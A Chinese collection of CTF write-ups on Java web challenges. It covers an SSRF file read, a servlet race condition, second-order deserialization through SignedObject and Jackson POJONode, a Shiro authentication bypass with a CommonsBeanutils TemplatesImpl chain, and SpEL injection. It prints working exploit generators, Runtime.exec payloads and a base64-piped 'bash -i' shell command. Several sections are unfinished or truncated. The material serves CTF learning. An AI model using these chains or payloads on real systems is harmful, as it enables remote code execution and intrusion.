几道java题
[VNCTF2022公开赛]easyJava 右键看源码,提示了<!-- /file? -->
get
传参url
,比如:
file?url=file:///
显示根目录下的文件:
没法直接读flag
,直接利用file?url=file:///proc/self/environ
看当前工作目录:
后面就是读响应文件了,解题需要的两个class
文件中比较重要的部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 public class User implements Serializable { private String name; private String age; private transient String height; public User (String name, String age, String height) { this .name = name; this .age = age; this .height = height; }@WebServlet( name = "HelloServlet", urlPatterns = {"/evi1"} ) public class HelloWorldServlet extends HttpServlet { private volatile String name = "m4n_q1u_666" ; private volatile String age = "666" ; private volatile String height = "180" ; User user; public HelloWorldServlet () { } public void init () throws ServletException { this .user = new User (this .name, this .age, this .height); } protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String reqName = req.getParameter("name" ); if (reqName != null ) { this .name = reqName; } if (Secr3t.check(this .name)) { this .Response(resp, "no vnctf2022!" ); } else { if (Secr3t.check(this .name)) { this .Response(resp, "The Key is " + Secr3t.getKey()); } } } protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String key = req.getParameter("key" ); String text = req.getParameter("base64" ); if (Secr3t.getKey().equals(key) && text != null ) { Base64.Decoder decoder = Base64.getDecoder(); byte [] textByte = decoder.decode(text); User u = (User)SerAndDe.deserialize(textByte); if (this .user.equals(u)) { this .Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString()); } } else { this .Response(resp, "KeyError" ); } } public static boolean check (String checkStr) { if ("vnctf2022" .equals(checkStr)) return true ; return false ; }
User
类下有三个属性:name,age,height
。注意height
这东西被transient
修饰,不参与序列化。
然后doGet
这个HttpServlet
类中的方法存在:
1 2 3 4 5 6 7 8 9 if (Secr3t.check(this .name)) { this .Response(resp, "no vnctf2022!" ); } else { if (Secr3t.check(this .name)) { this .Response(resp, "The Key is " + Secr3t.getKey()); } } }
一个看似有问题的逻辑,这里考点是Servlet的线程安全问题
Servlet
类不会每次收到请求都会去实例化一次。它处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象。而这个this.name
刚好判断的是实例化对象的属性。
这里可以用条件竞争,可以多个线程弄它:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import sys import requests import threading url1 = 'http://dadf610a-208a-46ee-8b31-092008f8f6ef.node4.buuoj.cn:81/evi1?name=vnctf2022' url2 = 'http://dadf610a-208a-46ee-8b31-092008f8f6ef.node4.buuoj.cn:81/evi1?name=foo' event = threading.Event()def go (mode ): event.wait() while (1 ): try : r = requests.get(url1 if mode == 1 else url2) if 'The Key is ' in r.text: print (r.text) sys.exit(1 ) except : pass if __name__ == '__main__' : for i in range (30 ): threading.Thread(target=go, args=(1 ,)).start() threading.Thread(target=go, args=(2 ,)).start() event.set ()
也可以不这么麻烦,直接a.py
+b.py
同时跑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests host = "http://ae396770-0931-4cc0-a719-448f093e1ebe.node5.buuoj.cn:81/" while True : r = requests.get(host+"evi1?name=asdqwer" ) r.encoding = "utf-8" if r.text.find("The Key is" )!=-1 : print (r.text) if (r.text.replace(" " ,"" )!="" ): print (r.text)import requests host = "http://ae396770-0931-4cc0-a719-448f093e1ebe.node5.buuoj.cn:81/" while True : r = requests.get(host+"evi1?name=vnctf2022" ) r.encoding = "utf-8" if r.text.find("The Key is" )!=-1 : print (r.text)
拿到key
后就是doPost
方法下的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String key = req.getParameter("key" ); String text = req.getParameter("base64" ); if (Secr3t.getKey().equals(key) && text != null ) { Base64.Decoder decoder = Base64.getDecoder(); byte [] textByte = decoder.decode(text); User u = (User)SerAndDe.deserialize(textByte); if (this .user.equals(u)) { this .Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString()); } } else { this .Response(resp, "KeyError" ); }
base64
先解码然后反序列化,然后看结果是否等于this.user
。但注意User
类下height被transient修饰
。所以需要对readObject
进行重写,直接把这个方法加在User.java
中就行:
1 2 3 4 5 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException{ s.defaultWriteObject(); s.writeObject(this .height); }
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package entity;import java.util.Base64;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.util.Base64;public class EXP { public static void main (String[] args) throws IOException { User user = new User ("m4n_q1u_666" ,"666" ,"180" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(user); byte [] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); } }
可以把这字符串再反序列化一下看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package entity;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.util.Base64;public class Der { public static void main (String[] args) throws IOException, ClassNotFoundException { String serializedObject = "rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=" ; byte [] bytes = Base64.getDecoder().decode(serializedObject); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (bytes)); User user = (User) objectInputStream.readObject(); System.out.println("Deserialized User:" ); System.out.println("Username: " + user.getName()); System.out.println("Age: " + user.getAge()); System.out.println("Height: " + user.getHeight()); } }
[HFCTF2022]ezchain(未完成) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 public class Index { static class MyHandler implements HttpHandler { public void handle (HttpExchange t) throws IOException { Map queryMap = this .queryToMap(t.getRequestURI().getQuery()); String response = "Welcome to HFCTF 2022" ; if (queryMap != null ) { String token = (String)queryMap.get("token" ); if (Objects.hashCode(token) == "HFCTF2022" .hashCode() && !"HFCTF2022" .equals(token)) { InputStream is = t.getRequestBody(); try { new Hessian2Input (is).readObject(); } catch (Exception e) { response = "oops! something is wrong" ; } } else { response = "your token is wrong" ; } } t.sendResponseHeaders(200 , ((long )response.length())); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } public Map queryToMap (String query) { if (query == null ) { return null ; } HashMap result = new HashMap (); String[] v5 = query.split("&" ); int v3; for (v3 = 0 ; v3 < v5.length; ++v3) { String[] entry = v5[v3].split("=" ); if (entry.length > 1 ) { result.put(entry[0 ], entry[1 ]); } else { result.put(entry[0 ], "" ); } } return result; } } public static void main (String[] args) throws Exception { System.out.println("server start" ); HttpServer server = HttpServer.create(new InetSocketAddress (8090 ), 0 ); server.createContext("/" , new MyHandler ()); server.setExecutor(Executors.newCachedThreadPool()); server.start(); } }
第一个问题:
1 2 3 4 5 6 String token = (String)queryMap.get("token" );if (Objects.hashCode(token) == "HFCTF2022" .hashCode() && !"HFCTF2022" .equals(token)) { InputStream is = t.getRequestBody(); try { new Hessian2Input (is).readObject(); }
哈希碰撞,不过java
里这个hashcode
这样定义:
1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode () { int h = hash; if (h == 0 && value.length > 0 ) { char val[] = value; for (int i = 0 ; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
主要就是这个h = 31 * h + val[i];
。如果想找个字符串的hashcode
和HFCTF2022
相等的话:只要最后两位满足:31a+b=31x+y
就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import java.util.Objects;public class hashcode_colli { public static void main (String[] args) throws Exception { String alphebat = "" ; for (char c = 'A' ; c <= 'Z' ; c++) { alphebat += c; } for (char c = 'a' ; c <= 'z' ; c++) { alphebat += c; } for (char c = '0' ; c <= '9' ; c++) { alphebat += c; } String secret = "HFCTF2022" ; for (int i = 0 ; i < alphebat.length(); i++) { for (int j = 0 ; j < alphebat.length(); j++) { String token = "HFCTF20" ; token+=alphebat.charAt(i); token+=alphebat.charAt(j); if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) { System.out.println("SUCCESS" ); System.out.println(token); } } } } }
1 console .log (global [Reflect .ownKeys (global ).find (x => x.includes ('eval' ))])
2023极客巅峰babyurl java
二次反序列化的题,跟着wp
写的。主要目的就是学习二次反序列化
参考文章:
1
2
拿到jar
文件直接丢IDEA反编译下,注意下面这几个类:
IndexController.java
存在:
/hack
路由接受payload
参数,base64
解码后反序列化,然后再把反序列化的结果o
和它的属性url
打印出来。MyObjectInputStream
是他自定义的输入流的类:
String
数组是这个:
1 {"java.net.InetAddress" , "org.apache.commons.collections.Transformer" , "org.apache.commons.collections.functors" , "com.yancao.ctf.bean.URLVisiter" , "com.yancao.ctf.bean.URLHelper" };
作用就是在反序列化过程中阻止特定类反序列化。这里看看他后面自己定义那两个:
主要作用就是读取特定URL
的内容并返回,但注意ban
了file
协议。
简单说就是通过重写readObject
方法把URLvisiter
的结果写到tmp/file
文件中。
现在解题思路就很清晰了:通过反序列化特定的URLHelper
实例调用其重写的readObject
方法达到将特定URL
中的内容写到特定文件中:
1 2 3 4 URLHelper handler = new URLHelper ("http://127.0.0.1:8888/flag.txt" );URLVisiter urlVisiter = new URLVisiter ();Field aaa = Class.forName("com.yancao.ctf.bean.URLHelper" ).getDeclaredField("visiter" ); aaa.set(handler,urlVisiter);
但问题是ban
了这两个关键类。。所以要考虑别的方法:二次反序列化
SignedObject
类存在getObject
方法,里面调用了readObject
:
而且content
完全可控,看它的构造方法,初始化时直接进行了序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream (); ObjectOutput a = new ObjectOutputStream (b); a.writeObject(object); a.flush(); a.close(); this .content = b.toByteArray(); b.close(); }
这里对传入的Object
进行了序列化然后传给content
,现在可以写一个signedObject
类:
1 2 3 4 5 6 7 8 KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 );KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA" );SignedObject signedObject = new SignedObject (恶意类, privateKey, signingEngine);
然后调用signedObject
的getObject
方法就能实现对object
这个恶意类的序列化。那么如何触发getObject
方法?这里先通过一次序列化触发getObject
,然后getObject
再触发一次反序列化:
这里的getter
方法要利用Jackson序列化
触发:
参考文章
参考文章
这里直接照搬这两位师傅的分析:
在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString
方法
然后跟进到_writeValueAndClose里面
跟进到这个序列化函数里,后面就类似于封装了,层层调用
然后调用到最终的这个serializeFields方法
这里其实就是通过三元运算符进行getter
方法的调用:
1 2 final Object value = (_accessorMethod == null ) ? _field.get(bean) : _accessorMethod.invoke(bean, (Object[]) null );
哪些地方可以调用writeValueAsString方法?
PojoNode下存在nodeToString方法,调用了这个writeValueAsString:
BaseJsonNode的toString方法调用了这个nodeToString:
这里注意这俩类的关系:这个类是一个抽象类,POJONode就属于它的一个实现类(父与子,我们后面可以通过调用POJONode.toString
方法调用它自身的nodeToString
方法)
BadAttributeValueExpException下的eadObject方法调用了toString:
现在可以捋下思路:
1 2 3 4 5 6 7 8 BadAttributeValueExpException#readObject-> POJONode#toString-> ObjectWriter#writeValueAsString-> SignedObject#getObject-> 二次反序列化-> URLHelper#readObject-> URLVisiter#visitUrl 第一次反序列化为了调用getObject方法,第二次反序列化才是恶意类的反序列化
然后这里有个坑,参考文章 主要就是BaseJsonNode类
在反序列化时会走他自定义的一个writeReplace
方法:
可以通过反射直接把它删了:
1 2 3 4 5 6 7 8 9 10 try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); } catch (Exception e) { }
然后注意这个toClass
方法是javassist
库中的一个方法,得导入相关依赖才能用:
1 2 3 4 5 <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25 .0 -GA</version> </dependency>
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package com.yancao.ctf;import com.fasterxml.jackson.databind.node.POJONode;import com.yancao.ctf.bean.URLHelper;import com.yancao.ctf.bean.URLVisiter;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;public class CtfAttack { public static void main (String[] args) throws IOException, NoSuchAlgorithmException, SignatureException, InvalidKeyException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URLHelper urlHelper = new URLHelper ("http://127.0.0.1:8888/flag.txt" ); URLVisiter urlVisiter = new URLVisiter (); urlHelper.visiter = urlVisiter; KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (urlHelper, privateKey, signingEngine); try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); } catch (Exception e) { } POJONode pojoNode = new POJONode (signedObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class aaa = Class.forName("javax.management.BadAttributeValueExpException" ); Field val = aaa.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException, pojoNode); ByteArrayOutputStream ser = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (ser); objectOutputStream.writeObject(badAttributeValueExpException); System.out.println(Base64.getEncoder().encodeToString(ser.toByteArray())); } }
[CISCN 2023 初赛]DeserBug(未完成) 描述:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
Testapp.java
下存在反序列化:
看下pom.xml
CC3.2.2版本,CC自3.2.1后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中,看下给的另一个Myexpect.java
结合题目提示能知道利用点在这个getAnyexpect
方法,它会new
一个实例出来,这里可以想到之前CC3那部分:利用动态类加载机制执行恶意代码,类似这种:
看下提示中给的cn.hutool.json.JSONObject.put
:
1 2 3 4 @Deprecated public JSONObject put (String key, Object value) throws JSONException { return this .set(key, value); }
这里跟下调用栈,即cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
,本地调试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import cn.hutool.json.JSONObject;import com.app.Myexpect;public class TmpTest { public static void main (String[] args) { Myexpect myexpect = new Myexpect (); myexpect.setTargetclass(Evil.class); JSONObject jsonObject = new JSONObject (); jsonObject.put("whatever" , myexpect); } }public class Evil { public Evil () throws Exception { Runtime.getRuntime().exec("calc" ); } }
[2022]easyjava 参考文章
application.properties
:
1 2 3 4 server.port =8090 server.servlet.context-path =/webspring.thymeleaf.cache =false spring.thymeleaf.mode =HTML5
应用程序将在 /web
上下文路径下运行。例如,如果应用程序的域名是 example.com
,那么应用程序将可以通过 http://example.com/web
访问
Shiro版本1.5.2
1 2 3 4 5 6 <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-spring</artifactId > <version > 1.5.2</version > </dependency >
ShiroConfig.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Configuration public class ShiroConfig { @Bean public ShiroFilterFactoryBean getShiroFilterFactoryBean (@Qualifier("getDefaultWebSecurityManager") DefaultWebSecurityManager defaultWebSecurityManager) { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean (); bean.setSecurityManager(defaultWebSecurityManager); Map<String, String> filterMap = new LinkedHashMap (); filterMap.put("/" , "anon" ); filterMap.put("/login" , "anon" ); filterMap.put("/admin/*" , "authc" ); bean.setFilterChainDefinitionMap(filterMap); bean.setLoginUrl("/login" ); return bean; } @Bean public DefaultWebSecurityManager getDefaultWebSecurityManager (@Qualifier("adminRealm") AdminRealm adminRealm) { DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager (); securityManager.setRealm(adminRealm); return securityManager; } @Bean public AdminRealm adminRealm () { return new AdminRealm (); } }
anon:表示允许匿名访问,即不需要进行身份验证就可以访问对应的URL authc:表示需要进行身份验证后才能访问,即用户必须登录后才能访问对应的URL
HelloController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.butler.springboot14shiro.MyController;import com.butler.springboot14shiro.Util.MyObjectInputStream;import java.io.ByteArrayInputStream;import java.io.InputStream;import java.util.Base64;import org.apache.shiro.SecurityUtils;import org.apache.shiro.authc.IncorrectCredentialsException;import org.apache.shiro.authc.UnknownAccountException;import org.apache.shiro.authc.UsernamePasswordToken;import org.apache.shiro.subject.Subject;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;@Controller public class HelloController { @RequestMapping({"/"}) public String index (Model model) { model.addAttribute("msg" , "Hello World" ); return "login" ; } @RequestMapping({"/login"}) public String login (String username, String password, Model model) { Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken (username, password); try { subject.login(token); return "admin/hello" ; } catch (UnknownAccountException var7) { model.addAttribute("msg" , "用户名错误" ); return "login" ; } catch (IncorrectCredentialsException var8) { model.addAttribute("msg" , "密码错误" ); return "login" ; } } @RequestMapping({"/admin/hello"}) public String admin (@RequestParam(name = "data",required = false) String data, Model model) throws Exception { try { byte [] decode = Base64.getDecoder().decode(data); InputStream inputStream = new ByteArrayInputStream (decode); MyObjectInputStream myObjectInputStream = new MyObjectInputStream (inputStream); myObjectInputStream.readObject(); } catch (Exception var6) { var6.printStackTrace(); model.addAttribute("msg" , "data=" ); } return "admin/hello" ; } }
首先admin/hello
路由下可以将data
解码后反序列化,但问题是得绕过这个Shiro
认证才行。
Shiro绕过
分析1
分析2
构造http://node4.anna.nssctf.cn:28969/;/web/admin/hello?data=
即可绕过shiro
的身份验证
然后MyObjectInputSteam
里ban了这些:
1 2 3 4 blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl" ); blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer" ); blackList.add("java.security.SignedObject" ); blackList.add("com.sun.rowset.JdbcRowSetImpl" );
阻止了使用Hibernate
反序列化链和Jdbc
链子,但是这里是Shiro,内置的BeanComparator
并没有被过滤,因此可以打CB
链子,注意这里是commons-beanutils1.9.4
,做poc的时候也要换成相同的版本,否则是报serializeUID
错误。
1 2 3 4 5 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.9.4</version > </dependency >
后面就是CB
那条动态加载字节码的链子了,比如弹计算器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Clac extends AbstractTranslet { public Clac () { } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { var1.printStackTrace(); } } }
后面exec里的command用这个写(我写calc方便本地测试):
[java反弹shell](Runtime.exec Payload Generater | AresX’s Blog )
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package com.butler.springboot14shiro.exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator; import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue; public class EXP { public static void main (String[] args) throws Exception { byte [] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); byte [][] codes={code}; TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"aaa" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,codes); BeanComparator beanComparator=new BeanComparator ("outputProperties" ,new AttrCompare ()); BeanComparator beanComparator1=new BeanComparator (); PriorityQueue priorityQueue=new PriorityQueue (beanComparator1); priorityQueue.add("1" ); priorityQueue.add("2" ); setFieldValue(beanComparator,"property" ,"outputProperties" ); setFieldValue(priorityQueue,"queue" ,new Object []{templates,templates}); setFieldValue(priorityQueue,"comparator" ,beanComparator); byte [] result=serialize(priorityQueue); System.out.println(Base64.getEncoder().encodeToString(result)); } public static byte [] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(object); return byteArrayOutputStream.toByteArray(); } public static void setFieldValue (Object obj, String field, Object val) throws Exception { Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true ); dField.set(obj, val); } }
这个CB的写法和当时跟DB师傅学的那个有一点点不同,多了这几个东西:
1 2 3 BeanComparator beanComparator1=new BeanComparator (); PriorityQueue priorityQueue=new PriorityQueue (beanComparator1); setFieldValue(priorityQueue,"comparator" ,beanComparator);
其实目标还是保证add
的时候不执行命令,所以放了假的queue
和comparator
进去,效果是一样的
[CISCN2023华北]normal_snake[未完成] pom.xml
存在:
1 2 3 4 5 6 7 8 9 10 11 <dependency > <groupId > com.mchange</groupId > <artifactId > c3p0</artifactId > <version > 0.9.5.2</version > </dependency > <dependency > <groupId > com.vaadin</groupId > <artifactId > vaadin-server</artifactId > <version > 7.7.14</version > </dependency >
IndexController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ``` ## [D^3CTF 2022 ] shorter ```java@RestController public class MainController { @GetMapping({"/hello"}) public String index () { return "hello" ; } @PostMapping({"/hello"}) public String index (@RequestParam String baseStr) throws IOException, ClassNotFoundException { if (baseStr.length() >= 1956 ) { return "too long" ; } else { byte [] decode = Base64.getDecoder().decode(baseStr); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (decode); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); return "hello" ; } }
Fastjson ezjava 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @RestController @RequestMapping({"/SPEL"}) public class spel { @RequestMapping({"/vul"}) public String spelVul (String ex) { ExpressionParser parser = new SpelExpressionParser (); EvaluationContext evaluationContext = new StandardEvaluationContext (); String result = parser.parseExpression(ex).getValue(evaluationContext).toString(); System.out.println(result); return result; } }
进去是个报错页面:
参考文章
Spring Boot 框架Whitelabel Error Page SpEL注入的原因就是系统报错页面把用户的输入当做了表达式来执行。但这题没啥花花绕绕的,直接就能执行命令:
1 String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
这里直接将用户的输入ex
当作表达式内容进行解析。
输入一个简单的乘法运算2*2
,可以看到返回的值是经过解析后的4
:
两种解法:
1 2 3 4 T(java.lang.Runtime).getRuntime().exec("bash -c {echo,}|[shell_b64_encode]{base64,-d}|{bash,-i}" )new java .io.BufferedReader(new java .io.InputStreamReader(new ProcessBuilder (new String []{"bash" ,"-c" ,"cat /app/flag.txt" }).start().getInputStream(), "utf8" )).readLine()
backendservice